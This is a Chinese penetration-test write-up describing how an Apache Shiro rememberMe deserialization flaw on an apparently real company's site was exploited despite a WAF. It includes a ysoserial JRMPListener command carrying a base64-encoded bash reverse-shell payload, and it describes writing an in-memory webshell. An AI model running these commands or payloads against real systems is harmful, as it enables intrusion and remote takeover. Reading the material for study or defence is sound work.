一次无厘头的shiro漏洞利用

华盟原创文章投稿奖励计划

常规工具一把梭

  • shiro-attack-4.5.6

一次无厘头的shiro漏洞利用

直接命令执行,发现失败了,注意观察rememberMe值的长度,许多waf喜欢在长度上做手脚:

一次无厘头的shiro漏洞利用

换个利用链,结果也是失败的:

一次无厘头的shiro漏洞利用

此时猜到可能是rememberMe值的长度过长导致的,之前碰到过类似案例,直接利用未知HTTP请求方式绕过了:


原文地址

carrypan,公众号:安全艺术记一次shiro绕waf的记录


这次试了同样的方法不得行了,从缩短rememberMe的长度开始下手,首先想到的是用JRMP。


  • shiro_tool

命令

java -jar shiro_tool.jar http://xxx.xxx.com/api/front/content/list
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZG*************3Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

一次无厘头的shiro漏洞利用


  • 飞鸿

一次无厘头的shiro漏洞利用

JRMP

一次无厘头的shiro漏洞利用


到这里猜测目标或许也不出网吧,那试试直接写入内存马(注意内存马的路径,目录全试试),可以看到内存马的rememberMe的值长度也是低于5k的,可以成功写入:

一次无厘头的shiro漏洞利用

一次无厘头的shiro漏洞利用

一次无厘头的shiro漏洞利用

找了半天没找到web根目录(怀疑人生啊),而且命令也无法执行……

一次无厘头的shiro漏洞利用


无厘头来了,过了一天继续利用,部分命令又可以回显了……

一次无厘头的shiro漏洞利用

后续测试这家企业,又发现其它网站这个接口下也存在同样的漏洞,利用过程也是同样的无厘头......

注:工具github上自取就好哈

本文来源安全艺术,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。